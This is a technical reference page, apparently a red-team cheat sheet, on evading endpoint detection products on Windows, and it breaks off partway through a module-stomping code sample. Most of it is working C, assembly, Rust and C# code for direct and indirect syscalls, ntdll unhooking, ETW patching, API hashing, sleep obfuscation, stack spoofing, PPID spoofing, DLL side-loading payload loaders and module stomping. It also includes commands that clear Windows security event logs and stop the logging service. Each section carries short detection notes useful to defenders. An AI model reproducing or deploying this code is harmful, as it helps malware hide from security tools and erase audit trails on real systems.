EDR evasion techniques: direct and indirect syscalls, NTDLL unhooking, ETW patching, API hashing, userland hook bypass, and sleep obfuscation.
EDR products inject a DLL into every user-mode process at startup (typically via AppInit_DLLs, Image File Execution Options, or a kernel minifilter callback). This DLL performs inline hooking on ntdll.dll - the lowest user-mode layer before the kernel - replacing the first bytes of critical function prologues with a JMP instruction that redirects execution into the EDR's inspection code. Every evasion technique on this page exploits the fact that these hooks exist entirely in user-mode memory that the process itself can read and modify.
What gets hooked: NtAllocateVirtualMemory, NtWriteVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, NtMapViewOfSection, NtQueueApcThread, NtCreateProcess/Ex, NtOpenProcess.
The EDR DLL saves the original function bytes (trampoline), so after inspection it can reconstruct and execute the original syscall. The entire chain runs in user-mode - this is the fundamental weakness that all techniques on this page exploit.
A normal ntdll syscall stub is a short sequence: move the syscall number into EAX, put the first argument into R10, then execute the syscall instruction. EDR hooks overwrite the first ~5 bytes of this stub with a JMP (relative or absolute) that redirects to the EDR's inspection routine. The original bytes are saved so the EDR can execute the real syscall after inspection.
Detection: Comparing the first byte against 0x4C (the expected mov r10, rcx) is the simplest hook-detection check - any other value means the prologue has been tampered with.
; Normal (unhooked) ntdll stub
NtAllocateVirtualMemory:
mov r10, rcx ; 4C 8B D1
mov eax, 0x18 ; B8 18 00 00 00 (syscall number)
syscall ; 0F 05
ret ; C3
; Hooked by EDR (first bytes overwritten)
NtAllocateVirtualMemory:
jmp 0x7FF812340000 ; E9 xx xx xx xx -> EDR DLL
nop ; 90 (padding)
nop ; 90
nop ; 90
syscall ; 0F 05 (sometimes left intact)
ret ; C3
Detection check: read the first byte of any ntdll export. If it is 0xE9 (JMP near) or 0xFF 0x25 (JMP qword ptr) instead of 0x4C (mov r10, rcx), the function is hooked.
BOOL IsHooked(const char* funcName) {
BYTE* pFunc = (BYTE*)GetProcAddress(
GetModuleHandleA("ntdll.dll"), funcName);
// Unhooked stub starts with: mov r10, rcx (4C 8B D1)
return (pFunc[0] != 0x4C);
}
| Product | Vendor | Hook Method |
|---|---|---|
| Falcon | CrowdStrike | Kernel callbacks + userland hooks |
| Singularity | SentinelOne | Userland hooks + kernel driver |
| Defender for Endpoint | Microsoft | AMSI + ETW + kernel sensors |
| Carbon Black | VMware (Broadcom) | Userland hooks + kernel filter |
| Cortex XDR | Palo Alto | Agent hooks + behavioral AI |
| Elastic Security | Elastic | Userland hooks + kernel driver |
| Intercept X | Sophos | Userland hooks + deep learning |
| PROTECT | Cylance | Pre-execution ML + hooks |
| ESET PROTECT | ESET | Userland hooks + HIPS kernel driver |
Instead of calling ntdll.dll functions (which EDR hooks via JMP patches), direct syscalls execute the syscall instruction from your own code. This completely bypasses userland hooks since the call never touches ntdll. The downside: syscall numbers change between Windows versions, so you need runtime resolution or version-specific stubs.
Detection: EDR can detect syscall instructions originating from non-ntdll memory regions via kernel callbacks or InstrumentationCallback.
// Direct syscall stub in MASM x64
// Bypasses ntdll hooks entirely - the syscall instruction
// executes from our .text section, never touching ntdll
//
// NtAllocateVirtualMemory syscall number = 0x18 (Win10 21H2)
.code
NtAllocateVirtualMemory PROC
mov r10, rcx ; first param to r10 (kernel expects it)
mov eax, 18h ; syscall number (SSN)
syscall ; transition to kernel
ret
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 3Ah ; SSN for NtWriteVirtualMemory (Win10 21H2)
syscall
ret
NtWriteVirtualMemory ENDP
NtProtectVirtualMemory PROC
mov r10, rcx
mov eax, 50h ; SSN for NtProtectVirtualMemory (Win10 21H2)
syscall
ret
NtProtectVirtualMemory ENDP
Rust (inline ASM, nightly):
// Direct syscall in Rust using inline assembly (stable since 1.59)
// Equivalent to the MASM stub above
use std::arch::asm;
unsafe fn nt_allocate_virtual_memory(
handle: *mut std::ffi::c_void,
base_addr: *mut *mut std::ffi::c_void,
zero_bits: usize,
region_size: *mut usize,
alloc_type: u32,
protect: u32,
) -> i32 {
let status: i32;
asm!(
"mov r10, rcx",
"mov eax, 0x18",
"syscall",
in("rcx") handle,
in("rdx") base_addr,
in("r8") zero_bits,
in("r9") region_size,
// alloc_type and protect go on shadow stack
lateout("rax") status,
clobber_abi("C"),
);
status
}
Pros: Completely bypasses userland hooks - the JMP in ntdll is never executed.
Cons: The syscall instruction executes from your module's memory range (e.g. 0x00007FF6xxxxxxxx), not from ntdll (0x00007FFxxxxxxxxx). Modern EDRs with kernel callbacks (InstrumentationCallback or PsSetCreateThreadNotifyRoutine) inspect the return address on the kernel stack and flag syscalls originating outside ntdll. Also, SSNs change across Windows builds.
Indirect syscalls set up the registers (r10, eax) in your own code but then JMP to the syscall; ret gadget inside ntdll's address space instead of executing syscall locally. This means the return address on the kernel stack points back into ntdll, which is exactly what legitimate calls look like. It combines the hook bypass of direct syscalls with a clean return address that defeats kernel callback inspection.
Detection: Some EDRs now validate the full call stack, not just the immediate return address, which can catch indirect syscalls if the preceding frames are suspicious.
; Indirect syscall - the syscall instruction runs from ntdll's address space
; We set up registers ourselves but JMP to the syscall;ret gadget inside ntdll
; This defeats return-address-based detection
.data
syscallAddr QWORD 0 ; filled at runtime with ntdll!NtXxx+0x12
.code
NtAllocateVirtualMemory PROC
mov r10, rcx
mov eax, 18h
jmp qword ptr [syscallAddr] ; jumps to syscall;ret inside ntdll
NtAllocateVirtualMemory ENDP
// Runtime setup: find the syscall;ret gadget address
void ResolveSyscallAddr(void) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pFunc = (BYTE*)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
// Walk forward to find 0F 05 C3 (syscall; ret)
for (int i = 0; i < 32; i++) {
if (pFunc[i] == 0x0F && pFunc[i+1] == 0x05 && pFunc[i+2] == 0xC3) {
syscallAddr = (QWORD)&pFunc[i];
break;
}
}
}
Why it works: When the kernel or EDR inspects the return address on the thread stack, it sees an address inside ntdll.dll - exactly what a legitimate call looks like. The EDR's userland hook is still bypassed because we never execute through the hooked prologue.
Syscall numbers (SSNs) change across Windows builds, so hardcoding them is fragile. HellsGate resolves SSNs at runtime by reading the mov eax, <SSN> instruction directly from ntdll's stub in memory. HalosGate extends this - if the target stub is hooked (first bytes overwritten), it searches neighboring stubs (which are 32 bytes apart) and calculates the target SSN by offset arithmetic. This means you can resolve SSNs even when the EDR has hooked the specific function you need.
Detection: Walking ntdll memory to read stub bytes is not inherently suspicious, but combining it with syscall execution is a known pattern.
// Runtime SSN resolution from ntdll export table
// Works even when ntdll is partially hooked (HellsGate / HalosGate approach)
DWORD GetSyscallNumber(const char* funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
BYTE* pFunc = (BYTE*)GetProcAddress(hNtdll, funcName);
// Case 1: function is NOT hooked
// Expected pattern: 4C 8B D1 B8 xx xx 00 00
if (pFunc[0] == 0x4C && pFunc[3] == 0xB8) {
return *(DWORD*)(pFunc + 4);
}
// Case 2: function IS hooked - HalosGate neighbor search
// Walk up and down to nearby syscall stubs (they're 32 bytes apart)
for (DWORD i = 1; i < 500; i++) {
// Search downward (higher SSN neighbors)
BYTE* pDown = pFunc + (i * 32);
if (pDown[0] == 0x4C && pDown[3] == 0xB8) {
return *(DWORD*)(pDown + 4) - i;
}
// Search upward (lower SSN neighbors)
BYTE* pUp = pFunc - (i * 32);
if (pUp[0] == 0x4C && pUp[3] == 0xB8) {
return *(DWORD*)(pUp + 4) + i;
}
}
return 0; // resolution failed
}
SSN sorting (FreshyCalls approach): Export all Zw* functions from ntdll's EAT, sort by address. The index in the sorted array equals the SSN (syscall numbers are assigned sequentially by address order).
| Tool | Language | Technique |
|---|---|---|
| SysWhispers2 | C/ASM | Direct syscalls with runtime SSN resolution (sort-by-address) |
| SysWhispers3 | C/ASM | Direct + indirect syscalls, syscall;ret gadget resolution |
| HellsGate | C/ASM | Runtime SSN resolution from potentially hooked ntdll |
| HalosGate | C/ASM | HellsGate + neighbor stub search when target is hooked |
| TartarusGate | C/ASM | Improved gate with multi-byte hook pattern detection |
| RecycledGate | C/ASM | Indirect syscalls via JMP RBX gadget for stack spoofing |
| FreshyCalls | C# | SSN resolution by sorting Zw* exports from EAT |
| SharpWhispers | C# | Managed direct syscalls via DynamicMethod emit |
| Function | Win10 1809 | Win10 21H2 | Win11 22H2 |
|---|---|---|---|
| NtAllocateVirtualMemory | 0x18 | 0x18 | 0x18 |
| NtProtectVirtualMemory | 0x50 | 0x50 | 0x50 |
| NtWriteVirtualMemory | 0x3A | 0x3A | 0x3A |
| NtCreateThreadEx | 0xBD | 0xC1 | 0xC2 |
| NtOpenProcess | 0x26 | 0x26 | 0x26 |
| NtQueueApcThread | 0x45 | 0x45 | 0x45 |
| NtMapViewOfSection | 0x28 | 0x28 | 0x28 |
| NtCreateSection | 0x4A | 0x4A | 0x4A |
This technique reads a pristine copy of ntdll.dll from C:\Windows\System32\, maps it into memory, then overwrites the hooked .text section of the currently loaded ntdll with the clean bytes. Since the on-disk copy has no EDR hooks (hooks are applied in-memory after load), this restores all function prologues to their original state and removes every userland hook in one pass.
Detection: EDRs with kernel minifilters can detect the CreateFile read of ntdll.dll from disk. The VirtualProtect call changing ntdll's .text to RWX is also a known indicator.
// Read a clean copy of ntdll.dll from disk and overwrite the hooked .text section
// This removes all userland hooks placed by the EDR
// Step 1: Map clean ntdll from disk
HANDLE hFile = CreateFileA(
"C:\\Windows\\System32\\ntdll.dll",
GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE hMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
LPVOID pClean = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
// Step 2: Get the base address of the currently loaded (hooked) ntdll
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Step 3: Parse PE headers to locate .text section
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (!strcmp((char*)pSection[i].Name, ".text")) {
DWORD oldProtect;
// Make .text writable
VirtualProtect(
(BYTE*)hNtdll + pSection[i].VirtualAddress,
pSection[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
// Overwrite hooked .text with clean copy from disk
memcpy(
(BYTE*)hNtdll + pSection[i].VirtualAddress,
(BYTE*)pClean + pSection[i].PointerToRawData,
pSection[i].Misc.VirtualSize);
// Restore original page protection
VirtualProtect(
(BYTE*)hNtdll + pSection[i].VirtualAddress,
pSection[i].Misc.VirtualSize,
oldProtect, &oldProtect);
break;
}
}
// Cleanup
UnmapViewOfFile(pClean);
CloseHandle(hMapping);
CloseHandle(hFile);
The \KnownDlls\ object directory contains pre-mapped section objects for commonly used DLLs, created at boot by smss.exe. Opening ntdll via NtOpenSection on this path returns a clean, cached copy without generating any file I/O events. This bypasses minifilter-based detections that monitor disk reads of system DLLs, since the section object is already in memory from boot time.
Detection: NtOpenSection calls targeting \KnownDlls\ntdll.dll can still be logged via ETW or object access auditing, but fewer EDRs monitor this path compared to direct disk reads.
// Use the KnownDlls section object - avoids disk I/O entirely
// KnownDlls are cached section objects created at boot by smss.exe
HANDLE hSection = NULL;
UNICODE_STRING name;
OBJECT_ATTRIBUTES oa;
RtlInitUnicodeString(&name, L"\\KnownDlls\\ntdll.dll");
InitializeObjectAttributes(&oa, &name,
OBJ_CASE_INSENSITIVE, NULL, NULL);
NTSTATUS status = NtOpenSection(
&hSection, SECTION_MAP_READ, &oa);
if (NT_SUCCESS(status)) {
PVOID pClean = NULL;
SIZE_T viewSize = 0;
NtMapViewOfSection(
hSection,
NtCurrentProcess(),
&pClean,
0, 0, NULL,
&viewSize,
ViewUnmap,
0,
PAGE_READONLY);
// Overwrite hooked .text section using same
// PE parsing logic as the disk method above
OverwriteTextSection(pClean);
NtUnmapViewOfSection(NtCurrentProcess(), pClean);
NtClose(hSection);
}
Advantage: No file I/O events are generated, so minifilter-based detections that monitor reads of ntdll.dll are bypassed.
A process created with CREATE_SUSPENDED has not yet executed LdrInitializeThunk, which is the point where the EDR's injected DLL gets loaded and applies hooks. This means the ntdll in the suspended process is completely clean. By using ReadProcessMemory to copy its .text section into our own process, we get pristine bytes without touching disk or KnownDlls.
Detection: Creating a suspended process and immediately reading its memory without resuming it is a behavioral pattern that some EDRs flag. The combination of CREATE_SUSPENDED + ReadProcessMemory + TerminateProcess is a known signature.
// Create a suspended process and steal its clean ntdll
// The EDR hooks are applied by a DLL loaded via LdrInitializeThunk
// A suspended process has not yet executed LdrInitializeThunk -> clean ntdll
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
CreateProcessA(
"C:\\Windows\\System32\\notepad.exe", NULL,
NULL, NULL, FALSE,
CREATE_SUSPENDED,
NULL, NULL, &si, &pi);
// Get ntdll base in remote process (same address due to ASLR sharing)
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
// Parse PE to find .text section size
PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)hNtdll + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSection = IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0; i < pNt->FileHeader.NumberOfSections; i++) {
if (!strcmp((char*)pSection[i].Name, ".text")) {
SIZE_T bytesRead;
BYTE* pCleanText = (BYTE*)malloc(pSection[i].Misc.VirtualSize);
// Read clean .text from suspended process
ReadProcessMemory(
pi.hProcess,
(BYTE*)hNtdll + pSection[i].VirtualAddress,
pCleanText,
pSection[i].Misc.VirtualSize,
&bytesRead);
// Overwrite our hooked .text
DWORD oldProtect;
VirtualProtect(
(BYTE*)hNtdll + pSection[i].VirtualAddress,
pSection[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(
(BYTE*)hNtdll + pSection[i].VirtualAddress,
pCleanText,
pSection[i].Misc.VirtualSize);
VirtualProtect(
(BYTE*)hNtdll + pSection[i].VirtualAddress,
pSection[i].Misc.VirtualSize,
oldProtect, &oldProtect);
free(pCleanText);
break;
}
}
// Kill the suspended process
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
| Method | Disk I/O | Suspicious API Calls | Stealth Level |
|---|---|---|---|
| Disk copy (System32\ntdll.dll) | Yes | CreateFileA, MapViewOfFile | Medium |
| KnownDlls section object | No | NtOpenSection | High |
| Suspended process (Perun's Fart) | No | CreateProcess(SUSPENDED), ReadProcessMemory | Medium-High |
| Debug ntdll (ntdll_1.dll) | No | Section object access | High |
| Manual map from disk | Yes | Raw file read + manual reloc | High |
| Remap from \KnownDlls | No | NtOpenSection + NtMapViewOfSection | High |
// Rust ntdll unhooking from disk using windows-sys crate
use windows_sys::Win32::Foundation::*;
use windows_sys::Win32::System::LibraryLoader::*;
use windows_sys::Win32::System::Memory::*;
use windows_sys::Win32::Storage::FileSystem::*;
use windows_sys::Win32::System::SystemServices::*;
unsafe fn unhook_ntdll() {
// Map clean ntdll from disk
let path = b"C:\\Windows\\System32\\ntdll.dll\0";
let h_file = CreateFileA(
path.as_ptr(), GENERIC_READ,
FILE_SHARE_READ, std::ptr::null(),
OPEN_EXISTING, 0, 0);
let h_map = CreateFileMappingA(
h_file, std::ptr::null(), PAGE_READONLY,
0, 0, std::ptr::null());
let p_clean = MapViewOfFile(h_map, FILE_MAP_READ, 0, 0, 0);
// Get loaded ntdll base
let base = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
// Parse PE headers to find .text section
let dos = base as *const IMAGE_DOS_HEADER;
let nt = (base as usize + (*dos).e_lfanew as usize)
as *const IMAGE_NT_HEADERS64;
let num_sections = (*nt).FileHeader.NumberOfSections as usize;
let first_sec = (nt as usize
+ std::mem::size_of::<IMAGE_NT_HEADERS64>())
as *const IMAGE_SECTION_HEADER;
for i in 0..num_sections {
let sec = &*first_sec.add(i);
if sec.Name.starts_with(b".text") {
let mut old: u32 = 0;
let va = sec.VirtualAddress as usize;
let size = sec.Misc.VirtualSize as usize;
let dst = (base as usize + va) as *mut u8;
let src = (p_clean as usize
+ sec.PointerToRawData as usize) as *const u8;
VirtualProtect(dst as _, size,
PAGE_EXECUTE_READWRITE, &mut old);
std::ptr::copy_nonoverlapping(src, dst, size);
VirtualProtect(dst as _, size, old, &mut old);
break;
}
}
UnmapViewOfFile(p_clean);
CloseHandle(h_map);
CloseHandle(h_file);
}
Event Tracing for Windows (ETW) is the telemetry backbone that feeds data to EDRs, AMSI, and the Windows Event Log. EtwEventWrite is the central function through which all userland ETW providers emit events - .NET CLR events, PowerShell script block logging, threat intelligence tracing, and more. Patching its first byte with 0xC3 (RET) makes the function return immediately without logging anything, blinding all ETW consumers in the process.
Detection: Integrity checks on EtwEventWrite's prologue (comparing against the on-disk copy) will catch this patch. Some EDRs also monitor VirtualProtect calls targeting ntdll memory.
// Patch EtwEventWrite in ntdll to disable ETW-based telemetry
// Writing a single RET (0xC3) at the function entry makes every
// ETW event silently return without logging
DWORD oldProtect;
BYTE patch[] = { 0xC3 }; // ret
void* pEtwEventWrite = GetProcAddress(
GetModuleHandleA("ntdll.dll"), "EtwEventWrite");
VirtualProtect(pEtwEventWrite, 1,
PAGE_EXECUTE_READWRITE, &oldProtect);
memcpy(pEtwEventWrite, patch, sizeof(patch));
VirtualProtect(pEtwEventWrite, 1,
oldProtect, &oldProtect);
What this kills: All userland ETW providers in the current process, including .NET runtime events, PowerShell script block events, threat intelligence ETW, and AMSI trace events.
Variant - patch EtwEventRegister: prevents providers from registering in the first place.
// Also consider patching NtTraceEvent for kernel-level ETW
void* pNtTraceEvent = GetProcAddress(
GetModuleHandleA("ntdll.dll"), "NtTraceEvent");
// Same patch: 0xC3 at entry
// C# ETW patch using P/Invoke
using System.Runtime.InteropServices;
[DllImport("kernel32.dll")]
static extern bool VirtualProtect(IntPtr lpAddress,
UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
static extern IntPtr GetModuleHandle(string lpModuleName);
public static void PatchEtw() {
IntPtr pEtw = GetProcAddress(
GetModuleHandle("ntdll.dll"), "EtwEventWrite");
VirtualProtect(pEtw, (UIntPtr)1, 0x40, out uint oldProtect);
Marshal.WriteByte(pEtw, 0xC3);
VirtualProtect(pEtw, (UIntPtr)1, oldProtect, out _);
}
# PowerShell one-liner concept (requires Add-Type for P/Invoke)
# Patch EtwEventWrite with RET
$ntdll = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
(Get-ProcAddr ntdll.dll EtwEventWrite),
[Func[IntPtr,Int32,Int32,Int64,Int32]])
Rust:
use windows_sys::Win32::System::LibraryLoader::*;
use windows_sys::Win32::System::Memory::*;
unsafe fn patch_etw() {
let h = GetModuleHandleA(b"ntdll.dll\0".as_ptr());
let p = GetProcAddress(h, b"EtwEventWrite\0".as_ptr());
if let Some(addr) = p {
let mut old: u32 = 0;
VirtualProtect(
addr as _, 1,
PAGE_EXECUTE_READWRITE, &mut old);
*(addr as *mut u8) = 0xC3; // ret
VirtualProtect(
addr as _, 1, old, &mut old);
}
}
Driver-level:
fltMC.exe unload SysmonDrvLog clearing:
# Clear specific event logs
wevtutil cl Security
wevtutil cl System
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
# Disable event log service (requires SYSTEM)
sc stop EventLog
Phantom (by SpecterOps):
Thread-specific ETW:
_TEB.EtwTraceData field per thread| Source | What It Logs | Bypass Technique |
|---|---|---|
| ETW (EtwEventWrite) | .NET, PowerShell, API calls | Patch with RET (0xC3) |
| AMSI (AmsiScanBuffer) | Script content before execution | Patch / reflection / HW BP |
| Sysmon | Process, network, file, registry events | Driver unload / Phantom |
| Script Block Logging | Full PowerShell script blocks (EID 4104) | Reflection disable / downgrade to v2 |
| Windows Event Log | Security audit events | Phantom / log clear / service stop |
| Kernel Callbacks | Process/thread/image creation | Kernel driver required (DSE bypass) |
| ETW Threat Intelligence | Suspicious syscall patterns | Kernel-level only (NtTraceEvent) |
Static analysis tools and YARA rules scan binaries for suspicious import strings like "VirtualAlloc", "CreateRemoteThread", or "NtWriteVirtualMemory". API hashing replaces these readable strings with precomputed hash values, then resolves function addresses at runtime by walking the PEB's loaded module list and hashing each export name until a match is found. This removes all suspicious strings from the binary's IAT and .rdata section.
Detection: The PEB-walking pattern itself (reading __readgsqword(0x60) then traversing InMemoryOrderModuleList) is a well-known shellcode indicator that some EDRs detect via heuristics.
// Resolve functions by hash to avoid suspicious
// import strings ("VirtualAlloc", "CreateRemoteThread")
// in the binary's IAT or string table
// DJB2 hash algorithm
DWORD djb2_hash(const char* str) {
DWORD hash = 5381;
int c;
while ((c = *str++))
hash = ((hash << 5) + hash) + c;
return hash;
}
// Walk PEB -> Ldr -> InMemoryOrderModuleList
// to find loaded modules without calling any API
FARPROC GetFuncByHash(DWORD dwModHash,
DWORD dwFuncHash) {
PPEB pPeb = (PPEB)__readgsqword(0x60);
PLIST_ENTRY pHead =
&pPeb->Ldr->InMemoryOrderModuleList;
PLIST_ENTRY pEntry = pHead->Flink;
while (pEntry != pHead) {
PLDR_DATA_TABLE_ENTRY pMod =
CONTAINING_RECORD(pEntry,
LDR_DATA_TABLE_ENTRY,
InMemoryOrderLinks);
// Hash module name, compare with dwModHash
// If match, walk Export Address Table (EAT)
// Hash each export name, compare with dwFuncHash
// If match, return function address
pEntry = pEntry->Flink;
}
return NULL;
}
// Usage: no strings in binary
#define H_KERNEL32 0x6A4ABC5B
#define H_VIRTUALALLOC 0x91AFCA54
FARPROC pVirtualAlloc = GetFuncByHash(
H_KERNEL32, H_VIRTUALALLOC);
C2 implants spend most of their time sleeping (typically 30-60s between callbacks). Memory scanners like YARA, PE-sieve, and Moneta scan process memory during these idle periods looking for known beacon signatures. Sleep obfuscation encrypts the implant's entire memory region before entering sleep and decrypts it when the timer fires, so the scanner's window is reduced to the brief active execution period. Advanced variants (Ekko, Foliage) also flip memory protection to RW (no execute) during sleep, defeating scanners that look for executable private memory.
Ekko:
// Ekko sleep obfuscation (simplified concept)
// 1. Create a timer queue timer
// 2. Timer callback: decrypt beacon, resume execution
// 3. Before sleep: encrypt beacon memory, queue timer
void EkkoSleep(DWORD dwSleepMs, BYTE* pBeacon,
SIZE_T beaconSize, BYTE* key) {
HANDLE hTimer = NULL;
HANDLE hEvent = CreateEventA(NULL, FALSE, FALSE, NULL);
// Encrypt beacon memory before sleeping
XorEncrypt(pBeacon, beaconSize, key);
// Change memory protection to RW (no execute)
DWORD oldProtect;
VirtualProtect(pBeacon, beaconSize,
PAGE_READWRITE, &oldProtect);
// Create timer to fire after sleep period
// Timer callback will decrypt and restore RX
CreateTimerQueueTimer(&hTimer, NULL,
(WAITORTIMERCALLBACK)DecryptCallback,
pBeacon, dwSleepMs, 0,
WT_EXECUTEINTIMERTHREAD);
// Block until timer fires (real Ekko uses NtContinue
// ROP chain with SystemFunction032 for RC4 encryption)
WaitForSingleObject(hEvent, dwSleepMs + 1000);
// Cleanup
DeleteTimerQueueTimer(NULL, hTimer, NULL);
CloseHandle(hEvent);
}
void DecryptCallback(PVOID pBeacon, BOOLEAN bFired) {
// Decrypt beacon memory
XorEncrypt((BYTE*)pBeacon, gBeaconSize, gKey);
// Restore execute permission
DWORD oldProtect;
VirtualProtect(pBeacon, gBeaconSize,
PAGE_EXECUTE_READ, &oldProtect);
}
Techniques comparison:
| Technique | Mechanism | ROP | APC | Thread State |
|---|---|---|---|---|
| Ekko | Timer queue timers + NtContinue context chain | Yes | No | Alertable wait |
| Foliage | NtQueueApcThread + encryption | No | Yes | APC wait |
| DeathSleep | ROP chain for encrypt/sleep/decrypt | Yes | No | Non-alertable |
| Cronos | Threadpool timers (TpAllocTimer) | No | No | Threadpool wait |
Why it matters: Memory scanners (YARA, PE-sieve, Moneta) scan process memory for known beacon signatures. If the beacon is encrypted during its ~60s sleep cycle, the scanner only has a brief window (during execution) to catch it.
When a syscall is made, EDRs with kernel callbacks walk the thread's call stack to see which code triggered the call. Legitimate calls produce a clean chain (e.g., kernel32 -> ntdll), while shellcode or injected code produces return addresses pointing to unbacked private memory or unknown modules. Stack spoofing overwrites the return addresses on the stack with pointers to legitimate functions before making the call, fabricating a plausible call chain.
Detection: Some EDRs now validate stack frame integrity by checking that return addresses align with actual CALL instruction boundaries (return address - 5 should be a CALL opcode).
EDRs with kernel callbacks inspect the call stack when a syscall is made. If the return addresses point to unbacked memory (shellcode) or suspicious modules, the call is flagged.
Stack spoofing replaces return addresses on the stack with addresses pointing to legitimate code (e.g., kernel32!BaseThreadInitThunk, ntdll!RtlUserThreadStart).
// Simplified stack spoof concept
// Before making a suspicious API call:
// 1. Save real return address
// 2. Overwrite stack frames with synthetic frames
// 3. Make the API call
// 4. In callback/return, restore real stack
// Tools that implement this:
// - CallStackSpoofer (countercept)
// - ThreadStackSpoofer (mgeeky)
// - Unwinder (TrustedSec)
Synthetic frame chain example:
[Top of stack]
ntdll!NtAllocateVirtualMemory <- our call
ntdll!RtlAllocateHeap <- fake frame
kernel32!HeapAlloc <- fake frame
kernel32!BaseThreadInitThunk <- fake frame
ntdll!RtlUserThreadStart <- fake frame
The EDR sees what looks like a normal heap allocation chain instead of suspicious shellcode calling NtAllocateVirtualMemory directly.
EDRs and Sysmon analyze parent-child process relationships to detect anomalies - for example, cmd.exe spawned by winword.exe is suspicious because Word should not launch command interpreters. PPID spoofing uses the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute to assign a different parent to the child process, making it appear as if a trusted process (like explorer.exe) spawned it.
Detection: The kernel's EPROCESS.InheritedFromUniqueProcessId reflects the real creator, and Sysmon EID 1 logs both the real and attributed parent. Comparing these two values reveals spoofing.
// Make our child process appear as a child of
// explorer.exe (or svchost, etc.) instead of
// our suspicious parent process
SIZE_T attrSize = 0;
InitializeProcThreadAttributeList(
NULL, 1, 0, &attrSize);
LPPROC_THREAD_ATTRIBUTE_LIST pAttrList =
(LPPROC_THREAD_ATTRIBUTE_LIST)
HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(
pAttrList, 1, 0, &attrSize);
// Open handle to desired parent (explorer.exe)
DWORD explorerPid = FindProcessId(
L"explorer.exe");
HANDLE hParent = OpenProcess(
PROCESS_CREATE_PROCESS,
FALSE, explorerPid);
UpdateProcThreadAttribute(
pAttrList, 0,
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
&hParent, sizeof(HANDLE), NULL, NULL);
STARTUPINFOEXW si = { 0 };
si.StartupInfo.cb = sizeof(si);
si.lpAttributeList = pAttrList;
PROCESS_INFORMATION pi = { 0 };
CreateProcessW(
NULL, L"cmd.exe", NULL, NULL, FALSE,
EXTENDED_STARTUPINFO_PRESENT |
CREATE_NEW_CONSOLE,
NULL, NULL,
&si.StartupInfo, &pi);
// Cleanup
DeleteProcThreadAttributeList(pAttrList);
HeapFree(GetProcessHeap(), 0, pAttrList);
CloseHandle(hParent);
Detection: Compare EPROCESS.InheritedFromUniqueProcessId (true creator) with the parent PID in the process attributes. Sysmon EID 1 logs both.
DLL side-loading exploits the Windows DLL search order: when an application calls LoadLibrary("name.dll") without a full path, Windows searches the application's directory first, before System32. By placing a malicious DLL with the expected filename next to a legitimate signed executable, the OS loads the attacker's DLL into a trusted process context. DLL proxying (forwarding real exports to the original DLL) keeps the host application functional and avoids crashes.
Detection: EDRs can flag unsigned DLLs loaded by signed executables, or DLLs loaded from unexpected paths (e.g., a temp directory instead of System32).
Steps:
Common targets:
OneDrive.exe - loads various DLLsTeams.exe - loads non-system DLLsmsdtc.exe - loads oci.dllWerFault.exe - loads faultrep.dll// DLL Proxy: forward exports to real DLL
// Use linker pragma to redirect exports
#pragma comment(linker,
"/export:RealFunc=legit.RealFunc")
// DllMain runs our payload when loaded
BOOL WINAPI DllMain(HINSTANCE hDll,
DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
// Execute payload in new thread
CreateThread(NULL, 0,
PayloadThread, NULL, 0, NULL);
}
return TRUE;
}
DLL proxy generation tools: SharpDLLProxy, Koppeling, DLLirant.
Module stomping loads a legitimate but rarely used system DLL (e.g., xpsprint.dll), then overwrites its .text section with shellcode. The key advantage is that the shellcode now executes from a "backed-by-image" memory region - one that is mapped from a known DLL on disk. Memory scanners that check whether executable regions are backed by legitimate files will see a valid DLL mapping instead of suspicious private executable memory.
Detection: Advanced scanners (PE-sieve with shellcode detection mode) compare the in-memory .text section against the on-disk original and flag discrepancies. Choosing obscure DLLs reduces the chance of integrity checks.
// Load a legitimate but rarely used DLL
// Overwrite its .text section with shellcode
// Execute shellcode from the legitimate module's
// address space - memory scanners see a known DLL
HMODULE hMod = LoadLibraryA("xpsprint.dll");
MODULEINFO mi;
GetModuleInformation(
GetCurrentProcess(),
hMod, &mi, sizeof(mi));
// Parse PE to find .text section
PIMAGE_DOS_HEADER pDos =
(PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS pNt =
(PIMAGE_NT_HEADERS)
((BYTE*)hMod + pDos->e_lfanew);
PIMAGE_SECTION_HEADER pSec =
IMAGE_FIRST_SECTION(pNt);
for (WORD i = 0;
i < pNt->FileHeader.NumberOfSections;
i++) {
if (!strcmp((char*)pSec[i].Name,
".text")) {
